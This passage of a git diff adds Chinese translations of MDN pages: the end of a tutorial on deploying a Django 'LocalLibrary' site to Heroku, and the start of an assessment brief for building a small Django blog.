class="notranslate"># Heroku: Update database configuration from $DATABASE_URL. +import dj_database_url +db_from_env = dj_database_url.config(conn_max_age=500) +DATABASES['default'].update(db_from_env)</pre> + +<div class="note"> +<p><strong>注意:</strong></p> + +<ul> + <li>我们仍然会在开发期间使用SQLite,因为我们的开发计算机上不会设置<code>DATABASE_URL</code>环境变量。</li> + <li><code>conn_max_age=500</code>的值使连接持久,这比在每个请求周期重新创建连接更有效。但是,这是可选的,如果需要可以删除。</li> +</ul> +</div> + +<h5 id="psycopg2_Python_Postgres_database_support">psycopg2 (Python Postgres database support)</h5> + +<p>Django 需要 psycopg2 来处理 Postgres 数据库,你需要将它添加到<a href="#requirements">requirements.txt </a>中,以便 Heroku 在远程服务器上进行设置(如下面的 requirements 部分所述)。</p> + +<p>Django 默认会在本地使用我们的 SQLite 数据库,因为我们的本地环境中,没有设置<code>DATABASE_URL</code>环境变量。如果您想完全切换到Postgres ,并使用我们的 Heroku 免费等级数据库,进行开发和生产,那么您可以这么做。例如,要在基于 Linux 的系统上,本地安装psycopg2 及其依赖项,您将使用以下 bash / terminal 命令:</p> + +<pre class="brush: bash notranslate"><code>sudo apt-get install python-pip python-dev libpq-dev postgresql postgresql-contrib</code> +pip3 install psycopg2 +</pre> + +<p>有关其他平台的安装说明,请访问 <a href="http://initd.org/psycopg/docs/install.html">psycopg2 </a>网站。</p> + +<p>但是,您不需要这样做 - 您不需要在本地计算机上激活 PostGreSQL,只要将其作为要求(requirement)提供给 Heroku,请参阅<code>requirements.txt</code>(见下文)。</p> + +<h4 id="在生产环境中提供静态文件">在生产环境中提供静态文件</h4> + +<p>在开发过程中,我们使用 Django 和 Django 开发 Web 服务器,来提供静态文件(CSS,JavaScript 等)。在生产环境中,我们通常提供来自内容传送网络(CDN)或 Web 服务器的静态文件。</p> + +<div class="note"> +<p><strong>注意:</strong> 通过 Django/web 应用程序提供静态文件是低效的,因为请求必须通过不必要的附加代码(Django),而不是由 Web 服务器或完全独立的 CDN 直接处理。虽然这对于开发期间的本地使用无关紧要,但如果我们在生产环境中使用相同的方法,则会对性能产生重大影响。</p> +</div> + +<p>为了便于将静态文件与 Django Web 应用程序分开托管,Django 提供了 collectstatic 工具,来收集这些文件以进行部署(有一个设置变量,用于定义在运行 collectstatic 时,应该收集文件的位置)。 Django 模板是指相对于设置变量(<code>STATIC_URL</code>)的静态文件的托管位置,因此如果将静态文件移动到另一个主机/服务器,则可以更改此位置。</p> + +<p>相关的设置变量是:</p> + +<ul> + <li><code>STATIC_URL</code>: 这是将提供静态文件的基本 URL 位置,例如,在CDN上。这用于在我们的基本模板中访问的静态模板变量(请参阅 <a href="/zh-CN/docs/Learn/Server-side/Django/Home_page">Django 教程 5:创建我们的主页</a>)。</li> + <li><code>STATIC_ROOT</code>: 这是 Django 的 “collectstatic” 工具将收集模板中引用的任何静态文件的目录的绝对路径。收集完成后,可以将这些文件,作为一个组上载到托管文件的任何位置。</li> + <li><code>STATICFILES_DIRS</code>: 这列出了 Django 的 collectstatic 工具应该搜索静态文件的其他目录。</li> +</ul> + +<h5 id="settings.py_2">settings.py</h5> + +<p>打开<strong>/locallibrary/settings.py</strong>,并将以下配置,复制到文件的底部。 <code>BASE_DIR </code>应该已经在您的文件中定义了(<code>STATIC_URL</code>可能已经在文件创建时已经定义。虽然它不会造成任何伤害,但您也可以删除重复的先前引用)。</p> + +<pre class="notranslate"># Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/2.0/howto/static-files/ + +# The absolute path to the directory where collectstatic will collect static files for deployment. +STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles') + +# The URL to use when referring to static files (where they will be served from) +STATIC_URL = '/static/' +</pre> + +<p>我们实际上,将使用名为 <a href="https://warehouse.python.org/project/whitenoise/">WhiteNoise</a> 的库来提供文件,我们将在下一节中安装和配置。</p> + +<p>有关更多信息,请参阅 <a href="https://devcenter.heroku.com/articles/django-assets">Django和静态资产</a>(Heroku 文档)。<br> + <br> + Whitenoise</p> + +<p>有许多方法可以在生产环境中提供静态文件(我们在前面的部分中看到了相关的 Django 设置)。 Heroku 建议在生产环境中使用 <a href="https://warehouse.python.org/project/whitenoise/">WhiteNoise</a> 项目,直接从 Gunicorn 提供静态资产。</p> + +<div class="note"> +<p><strong>注意: </strong>Heroku 会在上传您的应用程序后,自动调用collectstatic 并准备静态文件,以供 WhiteNoise 使用。查看 <a href="https://warehouse.python.org/project/whitenoise/">WhiteNoise</a> 文档,了解其工作原理以及实现,为什么是提供这些文件的相对有效方法。</p> +</div> + +<p>设置 WhiteNoise 以便在项目中使用的步骤如下:</p> + +<h5 id="WhiteNoise">WhiteNoise</h5> + +<p>使用以下命令在本地安装 whitenoise:</p> + +<pre class="notranslate">$ pip3 install whitenoise +</pre> + +<h5 id="settings.py_3">settings.py</h5> + +<p>要将 WhiteNoise 安装到您的 Django 应用程序中,请打开<strong>/locallibrary/settings.py</strong>,找到<code>MIDDLEWARE</code>设置,并在<code>SecurityMiddleware</code>正下方的列表顶部附近,添加<code>WhiteNoiseMiddleware</code>:</p> + +<pre class="notranslate">MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + <strong>'whitenoise.middleware.WhiteNoiseMiddleware',</strong> + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] +</pre> + +<p>这是可选的,您可以在提供静态文件时,减小它们的大小(这样更有效)。只需将以下内容添加到<strong>/locallibrary/settings.py</strong>的底部:</p> + +<pre class="notranslate"># Simplified static file serving. +# https://warehouse.python.org/project/whitenoise/ +STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage' +</pre> + +<h4 id="Requirements">Requirements</h4> + +<p>Web 应用程序的 Python requirements ,必须放在储存库根目录中的文件 <strong>requirements.txt</strong> 中。然后 Heroku 将在重建您的环境时,自动安装它们。您可以在命令行上,使用 pip 创建此文件(在 repo 根目录中,运行以下命令):</p> + +<pre class="brush: bash notranslate">pip3 freeze > requirements.txt</pre> + +<p>安装上面所有不同的依赖项后,您的 <strong>requirements.txt</strong> 文件,应至少列出这些项目(尽管版本号可能不同)。请删除下面未列出的任何其他依赖项,除非您已为此应用程序明确添加它们。</p> + +<pre class="notranslate">dj-database-url==0.4.1 +Django==2.0 +gunicorn==19.6.0 +<strong>psycopg2==2.6.2</strong> +whitenoise==3.2.2 +</pre> + +<div class="note"> +<p><strong>注意</strong>:确保存在类似上面的 <strong>psycopg2 </strong>的那一行!即使你没有在本地安装它,你仍然应该将它添加到<strong>requirements.txt</strong>。</p> +</div> + +<h4 id="Runtime">Runtime</h4> + +<p><strong>runtime.txt </strong>文件(如果已定义)告诉 Heroku 使用哪种编程语言。在 repo 的根目录中,创建文件并添加以下文本:</p> + +<pre class="notranslate">python-3.6.4</pre> + +<div class="note"> +<p><strong>注意:</strong> Heroku 只支持少量的 <a href="https://devcenter.heroku.com/articles/python-support#supported-python-runtimes">Python 运行库</a>(在编写本文时,包括上面的那个)。 Heroku 将使用受支持的运行库,而不管此文件中指定的值。</p> +</div> + +<h4 id="将更改保存到_Github_并重新测试">将更改保存到 Github 并重新测试</h4> + +<p>接下来,我们将所有更改保存到 Github。在终端(我们的存储库中的 whist)中,输入以下命令:</p> + +<pre class="brush: python notranslate">git add -A +git commit -m "Added files and changes required for deployment to heroku" +git push origin master</pre> + +<p>在我们继续之前,让我们在本地,再次测试网站,并确保它不受上述任何更改的影响。像往常一样运行开发 Web 服务器,然后检查站点,是否仍然按预期在浏览器上运行。</p> + +<pre class="brush: bash notranslate">python3 manage.py runserver</pre> + +<p>我们现在应该准备开始在 Heroku 上部署 LocalLibrary。</p> + +<h3 id="获取_Heroku_帐户">获取 Heroku 帐户</h3> + +<p>要开始使用Heroku,您首先需要创建一个帐户:</p> + +<ul> + <li>访问 <a href="https://www.heroku.com/">www.heroku.com</a> ,并单击免费注册按钮(<strong>SIGN UP FOR FREE)</strong>。</li> + <li>输入您的详细信息,然后按 <strong>CREATE FREE ACCOUNT</strong>。系统会要求您,检查帐户中是否有注册电子邮件。</li> + <li>单击注册电子邮件中的帐户激活链接。您将在网络浏览器上收回您的帐户。</li> + <li>输入您的密码,然后单击 <strong>SET PASSWORD AND LOGIN</strong>。</li> + <li>然后,您将登录并进入 Heroku 仪表板: <a href="https://dashboard.heroku.com/apps">https://dashboard.heroku.com/apps</a>.</li> +</ul> + +<h3 id="安装客户端">安装客户端</h3> + +<p>按照 <a href="https://devcenter.heroku.com/articles/getting-started-with-python#set-up">Heroku 上的说明</a>,下载并安装 Heroku 客户端。</p> + +<p>安装客户端后,您将能够运行命令。例如,要获得客户端的帮助:</p> + +<pre class="brush: bash notranslate">heroku help +</pre> + +<h3 id="创建并上传网站">创建并上传网站</h3> + +<p>要创建应用程序,我们在储存库的根目录中,运行“create”命令。这将在我们的本地 git 环境中,创建一个名为 heroku 的 git remote(“指向远程储存库的指标”)。</p> + +<pre class="brush: bash notranslate">heroku create</pre> + +<div class="note"> +<p><strong>注意:</strong> 如果您愿意,可以通过在“创建”之后指定值来命名远程。如果你不这样做,你会得到一个随机的名字。该名称用于默认URL。</p> +</div> + +<p>然后我们可以将应用程序,推送到 Heroku 储存库,如下所示。这将上传应用程序,将其打包到 dyno 中,运行 collectstatic,然后启动该站点。</p> + +<pre class="brush: bash notranslate">git push heroku master</pre> + +<p>如果我们很幸运,该应用程序现在在网站上“运行”,但它将无法正常工作,因为我们尚未设置数据库表,以供我们的应用程序使用。为此,我们需要使用 heroku run命令,并启动 “<a href="https://devcenter.heroku.com/articles/deploying-python#one-off-dynos">one off dyno</a>” 来执行迁移操作。在终端中输入以下命令:</p> + +<pre class="brush: bash notranslate">heroku run python manage.py migrate</pre> + +<p>我们还需要能够添加书本和作者,所以我们再次使用一次性dyno,创建我们的管理超级用户:</p> + +<pre class="brush: bash notranslate">heroku run python manage.py createsuperuser</pre> + +<p>完成后,我们可以查看该网站。它应该有用,虽然它还没有任何书本。要打开浏览器访问新网站,请使用以下命令:</p> + +<pre class="brush: bash notranslate">heroku open</pre> + +<p>在管理站点中创建一些书本,并检查该站点是否按预期运行。</p> + +<h3 id="管理附加组件(插件)">管理附加组件(插件)</h3> + +<p>您可以使用 <code>heroku addons</code>命令,查看应用程序的附加组件。这将列出所有附加组件,以及它们的价格等级和状态。</p> + +<pre class="brush: bash notranslate">>heroku addons + +Add-on Plan Price State +───────────────────────────────────────── ───────── ───── ─────── +heroku-postgresql (postgresql-flat-26536) hobby-dev free created + └─ as DATABASE</pre> + +<p>在这里,我们看到我们只有一个附加组件,即 postgres SQL数据库。这是免费的,并且是在我们创建应用时,自动创建的。您可以使用以下命令,更详细地打开网页,以检查数据库附加组件(或任何其他附加组件):</p> + +<pre class="brush: bash notranslate">heroku addons:open heroku-postgresql +</pre> + +<p>其他命令允许您创建,销毁,升级和降级附加组件(使用类似的语法打开)。有关更多信息,请参阅<a href="https://devcenter.heroku.com/articles/managing-add-ons">管理附加组件</a>(Heroku 文档)。</p> + +<h3 id="设定配置变量">设定配置变量</h3> + +<p>您可以使用 <code>heroku config</code>命令,检查站点的配置变量。下面你可以看到,我们只有一个变量,<code>DATABASE_URL</code>用于配置我们的数据库。</p> + +<pre class="brush: bash notranslate">>heroku config + +=== locallibrary Config Vars +DATABASE_URL: postgres://uzfnbcyxidzgrl:j2jkUFDF6OGGqxkgg7Hk3ilbZI@ec2-54-243-201-144.compute-1.amazonaws.com:5432/dbftm4qgh3kda3</pre> + +<p>如果您回想起来<strong>准备发布网站</strong>的部分,我们必须为<code>DJANGO_SECRET_KEY</code> 和 <code>DJANGO_DEBUG</code>设置环境变量。我们现在就这样做。</p> + +<div class="note"> +<p><strong>注意:</strong> 密钥需要真正的保密!生成新密钥的一种方法,是创建一个新的 Django 项目(<code>django-admin startproject someprojectname</code>),然后从 <strong>settings.py </strong>中,获取为您生成的密钥。</p> +</div> + +<p>我们使用 <code>config:set</code>命令,设置<code>DJANGO_SECRET_KEY</code>(如下所示)。记得使用自己的密钥!</p> + +<pre class="brush: bash notranslate">>heroku config:set DJANGO_SECRET_KEY=eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh&= + +Setting DJANGO_SECRET_KEY and restarting locallibrary... done, v7 +DJANGO_SECRET_KEY: eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh +</pre> + +<p>我们以同样的方式设置<code>DJANGO_DEBUG</code>:</p> + +<pre class="brush: bash notranslate">>heroku config:set <code>DJANGO_DEBUG='' + +Setting DJANGO_DEBUG and restarting locallibrary... done, v8</code></pre> + +<p>如果您现在访问该站点,您将收到“错误请求”(Bad request)错误,因为如果您有 <code>DEBUG=False</code>(作为安全措施),则需要<a href="https://docs.djangoproject.com/en/2.0/ref/settings/#allowed-hosts">ALLOWED_HOSTS</a> 设置。打开 <strong>/locallibrary/settings.py</strong>,并更改<code>ALLOWED_HOSTS</code>设置,以包含您的基本应用程序 URL(例如'locallibrary1234.herokuapp.com'),以及您通常在本地开发服务器上使用的 URL。</p> + +<pre class="brush: python notranslate">ALLOWED_HOSTS = ['<your app URL without the https:// prefix>.herokuapp.com','127.0.0.1'] +# For example: +# ALLOWED_HOSTS = ['fathomless-scrubland-30645.herokuapp.com','127.0.0.1'] +</pre> + +<p>然后保存您的设置,并将它们提交到您的 Github 仓库和 Heroku:</p> + +<pre class="brush: bash notranslate">git add -A +git commit -m 'Update ALLOWED_HOSTS with site and development server URL' +git push origin master +git push heroku master</pre> + +<div class="note"> +<p>完成 Heroku 的站点更新后,输入一个不存在的 URL(例如,<strong>/catalog/doesnotexist/</strong>)。以前这会显示一个详细的调试页面,但现在,您应该只看到一个简单的“未找到”页面。</p> +</div> + +<h3 id="除错调试">除错调试</h3> + +<p>Heroku客户端提供了一些调试工具:</p> + +<pre class="brush: bash notranslate">heroku logs # Show current logs +heroku logs --tail # Show current logs and keep updating with any new results +heroku config:set DEBUG_COLLECTSTATIC=1 # Add additional logging for collectstatic (this tool is run automatically during a build) +heroku ps #Display dyno status +</pre> + +<p>如果您需要比这些更多的信息,您将需要开始研究 <a href="https://docs.djangoproject.com/en/2.0/topics/logging/">Django Logging</a>。</p> + +<h2 id="总结"><strong><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 2.5rem;'>总结</span></strong></h2> + +<p>本教程讲述如何在生产环境中配置Django应用,也是本系列Django教程的结尾。我们希望你觉得教程有用。你可以在Github上取得一个完全可工作版本的<a href="https://github.com/mdn/django-locallibrary-tutorial">源码(用力点击此处)</a>。</p> + +<p>下一步是阅读我们此前的一些文章,然后完成评估任务。</p> + +<h2 id="也可以参考">也可以参考</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/howto/deployment/">Deploying Django</a> (Django 文档) + + <ul> + <li><a href="https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/">Deployment checklist</a> (Django 文档)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/howto/static-files/deployment/">Deploying static files</a> (Django 文档)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/">How to deploy with WSGI</a> (Django 文档)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/modwsgi/">How to use Django with Apache and mod_wsgi</a> (Django 文档)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/gunicorn/">How to use Django with Gunicorn</a> (Django 文档)</li> + </ul> + </li> + <li>Heroku + <ul> + <li><a href="https://devcenter.heroku.com/articles/django-app-configuration">Configuring Django apps for Heroku</a> (Heroku 文档)</li> + <li><a href="https://devcenter.heroku.com/articles/getting-started-with-python#introduction">Getting Started on Heroku with Django</a> (Heroku 文档)</li> + <li><a href="https://devcenter.heroku.com/articles/django-assets">Django and Static Assets</a> (Heroku 文档)</li> + <li><a href="https://devcenter.heroku.com/articles/python-concurrency-and-database-connections">Concurrency and Database Connections in Django</a> (Heroku 文档)</li> + <li><a href="https://devcenter.heroku.com/articles/how-heroku-works">How Heroku works</a> (Heroku 文档)</li> + <li><a href="https://devcenter.heroku.com/articles/dynos">Dynos and the Dyno Manager</a> (Heroku 文档)</li> + <li><a href="https://devcenter.heroku.com/articles/config-vars">Configuration and Config Vars</a> (Heroku 文档)</li> + <li><a href="https://devcenter.heroku.com/articles/limits">Limits</a> (Heroku 文档)</li> + <li><a href="https://devcenter.heroku.com/articles/python-gunicorn">Deploying Python applications with Gunicorn</a> (Heroku 文档)</li> + <li><a href="https://devcenter.heroku.com/articles/deploying-python">Deploying Python and Django apps on Heroku</a> (Heroku 文档)</li> + <li><a href="https://devcenter.heroku.com/search?q=django">Other Heroku Django docs</a></li> + </ul> + </li> + <li>Digital Ocean + <ul> + <li><a href="https://www.digitalocean.com/community/tutorials/how-to-serve-django-applications-with-uwsgi-and-nginx-on-ubuntu-16-04">How To Serve Django Applications with uWSGI and Nginx on Ubuntu 16.04</a></li> + <li><a href="https://www.digitalocean.com/community/tutorials?q=django">Other Digital Ocean Django community docs</a></li> + </ul> + </li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</p> + + + +<h2 id="本教程文章">本教程文章</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/django/django_assessment_blog/index.html b/files/zh-cn/learn/server-side/django/django_assessment_blog/index.html new file mode 100644 index 0000000000..a3ca28e160 --- /dev/null +++ b/files/zh-cn/learn/server-side/django/django_assessment_blog/index.html @@ -0,0 +1,313 @@ +--- +title: 评估:DIY Django 微博客 +slug: learn/Server-side/Django/django_assessment_blog +translation_of: Learn/Server-side/Django/django_assessment_blog +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</div> + +<p class="summary">在这个评估中,您将使用您在 <a href="/en-US/docs/Learn/Server-side/Django">Django Web Framework (Python)</a> 模块中获得的知识,来创建一个非常基本的博客。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>在尝试此评估之前,您应该已经完成了本模块中的所有文章。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>测试对Django基础知识的理解,包括URL配置,模型,视图,表单和模板。</td> + </tr> + </tbody> +</table> + +<h2 id="項目概要">項目概要</h2> + +<p>下面列出了需要显示的页面、URL和其它要求:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">页面</th> + <th scope="col">URL</th> + <th scope="col">要求</th> + </tr> + </thead> + <tbody> + <tr> + <td>主页</td> + <td><code>/</code> and <code>/blog/</code></td> + <td>描述站点的索引页面。</td> + </tr> + <tr> + <td>所有博客文章列表</td> + <td><code>/blog/blogs/</code></td> + <td> + <p>所有博客文章列表:</p> + + <ul> + <li>可通过侧边栏链接访问所有用户。</li> + <li>列表的排序按发布日期(从最新到最旧)。</li> + <li>列表分页为每 5 篇文章 1 个分页。</li> + <li>列表项显示博客标题,发布日期和作者。</li> + <li>博客帖子名称,链接到博客详细信息页面。</li> + <li>博主(作者姓名)链接到博客作者详细信息页面。</li> + </ul> + </td> + </tr> + <tr> + <td>博客作者(博主)详细信息页面</td> + <td><code>/blog/blogger/<em><author-id></em></code></td> + <td> + <p>指定作者的信息(按ID)和他们的博客文章列表:</p> + + <ul> + <li>可以从博客文章等的作者链接访问所有用户</li> + <li>包含有关博主/作者的一些简要经历信息。</li> + <li>按发布日期排序的列表(从最新到最旧)。</li> + <li>没有分页。</li> + <li>列表项仅显示博客帖子名称和发布日期。</li> + <li>博客帖子名称,链接到博客详细信息页面。</li> + </ul> + </td> + </tr> + <tr> + <td>博客帖子详细信息页面</td> + <td><code>/blog/<em><blog-id></em></code></td> + <td> + <p>博客帖子详情。</p> + + <ul> + <li>可从博客帖子列表访问所有用户。</li> + <li>页面包含博客文章:姓名,作者,发布日期和内容。</li> + <li>博客文章的评论应显示在底部。</li> + <li>评论应按顺序排序:从最旧到最近。</li> + <li>包含为登录用户添加注释的链接(请参阅注释表单页面)</li> + <li>博客帖子和评论,只需显示纯文本。不需要支持任何类型的HTML标记(例如链接,图像,粗体/斜体等)。</li> + </ul> + </td> + </tr> + <tr> + <td>所有博主的名单</td> + <td><code>/blog/bloggers/</code></td> + <td> + <p>系统上的博主列表:</p> + + <ul> + <li>可从站点侧栏访问所有用户</li> + <li>博主名称链接到博客作者详细信息页面。</li> + </ul> + </td> + </tr> + <tr> + <td>评论表单页面</td> + <td><code>/blog/<em><blog-id></em>/create</code></td> + <td> + <p>为博客帖子创建评论:</p> + + <ul> + <li>只能从博客帖子详细信息页面底部的链接,访问登录用户(仅限)。</li> + <li>显示表单以及用于输入注释的描述(发布日期和博客不可编辑)。</li> + <li>发布评论后,该页面将重定向回相关的博客帖子页面。</li> + <li>用户无法编辑或删除其帖子。</li> + <li>注销用户将被引导至登录页面进行登录,然后才能添加评论。登录后,他们将被重定向,回到他们想要评论的博客页面。</li> + <li>评论页面应包含被评论的博客帖子的名称/链接。</li> + </ul> + </td> + </tr> + <tr> + <td>用户认证页面</td> + <td><code>/accounts/<em><standard urls></em></code></td> + <td> + <p>用于登录,注销和设置密码的标准Django身份验证页面:</p> + + <p> </p> + + <ul> + <li>应该可以通过侧边栏链接,访问登录/退出页面。</li> + </ul> + </td> + </tr> + <tr> + <td>管理站点</td> + <td><code>/admin/<em><standard urls></em></code></td> + <td> + <p>应启用管理站点,以允许创建/编辑/删除博客帖子、博客作者、和博客评论(这是博客创建新博客帖子的机制):</p> + + <p> </p> + + <ul> + <li>管理站点的博客帖子记录,应显示内联的相关评论列表(在每篇博客文章下方)。</li> + <li>管理站点中的注释名称,是通过将注释说明,截断为75个字符来创建的。</li> + <li>其他类型的记录,可以使用基本注册。</li> + </ul> + </td> + </tr> + </tbody> +</table> + +<p>此外,您应该编写一些基本测试来验证:</p> + +<ul> + <li>所有模型字段都具有正确的标签和长度。</li> + <li>所有模型都具有预期的对象名称(例如<code> __str__()</code> 返回预期值)。</li> + <li>模型具有单个博客和评论记录的预期URL(例如,<code>get_absolute_url()</code>返回预期的URL)。</li> + <li>BlogListView(所有博客页面)可在预期位置访问(例如 /blog/blogs)</li> + <li>BlogListView(所有博客页面)可通过预期的命名网址访问(例如 'blogs')</li> + <li>BlogListView(所有博客页面)使用预期的模板(例如默认模板)</li> + <li>BlogListView 以 5 个记录为 1 个分页(至少在第一页上)</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>: 当然还有许多其他测试可以运行。请谨慎使用,但我们希望您至少进行上述测试。</p> +</div> + +<p>以下部分,显示了实现上述要求的站点的屏幕截图。</p> + +<h2 id="截图">截图</h2> + +<p>以下屏幕截图,提供了完成的程序应输出的示例。</p> + +<h3 id="所有博客文章列表">所有博客文章列表</h3> + +<p>这将显示所有博客帖子的列表(可从侧栏中的“所有博客” All blogs 链接访问)。注意事项:</p> + +<ul> + <li>侧栏还列出了登录用户。</li> + <li>个人博客帖子和博主可以作为页面中的链接访问。</li> + <li>启用分页(以 5 个为一组)</li> + <li>次序是从最新到最旧。</li> +</ul> + +<p><img alt="List of all blogs" src="https://mdn.mozillademos.org/files/14319/diyblog_allblogs.png" style="border-style: solid; border-width: 1px; display: block; height: 363px; margin: 0px auto; width: 986px;"></p> + +<h3 id="所有博主的列表">所有博主的列表</h3> + +<p>这提供了到所有博客的链接,如同来自侧栏中的“所有博客” All bloggers 链接。在这种情况下,我们可以从侧边栏看到,并没有用户登录。</p> + +<p><img alt="List of all bloggers" src="https://mdn.mozillademos.org/files/14321/diyblog_blog_allbloggers.png" style="border-style: solid; border-width: 1px; display: block; height: 256px; margin: 0px auto; width: 493px;"></p> + +<h3 id="博客详情页面">博客详情页面</h3> + +<p>这显示了指定博客的详细信息页面。</p> + +<p><img alt="Blog detail with add comment link" src="https://mdn.mozillademos.org/files/14323/diyblog_blog_detail_add_comment.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 986px;"></p> + +<p>请注意,注释具有日期和时间,并且从最旧到最新排序(与博客次序相反)。最后,我们有一个链接,用于访问表单,以添加新评论。如果用户未登录,我们会看到登录的建议。</p> + +<p><img alt="Comment link when not logged in" src="https://mdn.mozillademos.org/files/14325/diyblog_blog_detail_not_logged_in.png" style="border-style: solid; border-width: 1px; display: block; height: 129px; margin: 0px auto; width: 646px;"></p> + +<h3 id="添加评论表单">添加评论表单</h3> + +<p>这是添加评论的表单。请注意,我们已登录。如果成功,我们应该返回相关的博客帖子页面。</p> + +<p><img alt="Add comment form" src="https://mdn.mozillademos.org/files/14329/diyblog_comment_form.png" style="border-style: solid; border-width: 1px; display: block; height: 385px; margin: 0px auto; width: 778px;"></p> + +<h3 id="作者简介">作者简介</h3> + +<p>这会显示博主的个人信息及其博客帖子列表。</p> + +<p><img alt="Blogger detail page" src="https://mdn.mozillademos.org/files/14327/diyblog_blogger_detail.png" style="border-style: solid; border-width: 1px; display: block; height: 379px; margin: 0px auto; width: 982px;"></p> + +<h2 id="完成的步骤">完成的步骤</h2> + +<p>以下部分,描述了您需要执行的操作。</p> + +<ol> + <li>为站点创建骨架项目和Web应用程序(如<a href="/zh-CN/docs/Learn/Server-side/Django/skeleton_website">Django教程 2:创建骨架网站</a>中所述)。您可以使用 'diyblog' 作为项目名称,使用 'blog' 作为应用程序名称。</li> + <li>为博客帖子,评论和所需的任何其他对象创建模型。在考虑您的设计时,请记住: + <ul> + <li>每个评论只有一个博客,但博客可能有很多评论。</li> + <li>博客帖子和评论,必须按发布日期排序。</li> + <li>并非每个用户都必须是博客作者,尽管任何用户都可能是评论者。</li> + <li>博客作者还必须包含个人信息。</li> + </ul> + </li> + <li>为新模型运行迁移,并创建超级用户。</li> + <li>使用管理站点,创建一些示例博客帖子,和博客评论。</li> + <li>为博客帖子、和博客列表页面,创建视图、模板、和 URL 配置。</li> + <li>为博客帖子、和博客详细信息页面,创建视图、模板、和 URL 配置。</li> + <li>创建一个页面,其中包含用于添加新评论的表单(请记住,这仅适用于已登录的用户!)</li> +</ol> + +<h2 id="提示和技巧">提示和技巧</h2> + +<p>该项目与 <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> 教程非常相似。您将能够使用几乎所有相同的方法,包含设置框架,用户登录/注销行为,对静态文件,视图,URL,表单,基本模板和管理站点配置的支持。</p> + +<p>一些一般提示:</p> + +<ol> + <li>索引页面可以实现为基本功能视图和模板(就像locallibrary一样)。</li> + <li>T可以使用<a href="/zh-CN/docs/Learn/Server-side/Django/Generic_views">通用列表和详细信息视图</a>,以创建博客帖子和博主的列表视图,以及博客帖子的详细信息视图。</li> + <li>可以使用通用列表的博客列表视图,并对指定作者匹配的博客对象进行过滤,来创建特定作者的博客帖子列表。 + <ul> + <li>您将必须实现<code>get_queryset(self)</code>来进行过滤(很像我们的图书馆类<code>LoanedBooksAllListView</code>),并从URL获取作者信息。</li> + <li>您还需要将作者的名称,传递给上下文中的页面。要在基于类的视图中执行此操作,您需要实现<code>get_context_data()</code>(在下面讨论)。</li> + </ul> + </li> + <li>可以使用基于函数的视图(以及关联的模型和表单),或使用通用<code>CreateView</code>,以创建添加注释表单。如果您使用<code>CreateView</code>(推荐),那么: + <ul> + <li>您还需要将博客文章的名称,传递到上下文中的评论页面(实现<code>get_context_data()</code> ,如下所述)。</li> + <li>表单应仅显示用户输入的注释“description”(日期和相关的博客文章,不应该是可编辑的)。由于它们本身不在表单中,因此您的代码,需要在<code> form_valid()</code> 函数中,设置注释的作者,以便将其保存到模型中(<a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/generic-editing/#models-and-request-user">如此处所述</a> - Django文档)。在同一个功能中,我们设置了相关的博客。可能的实现如下所示(<code>pk</code>是从URL / URL配置传入的博客ID)。 + <pre class="brush: python"> def form_valid(self, form): + """ + Add author and associated blog to form data before setting it as valid (so it is 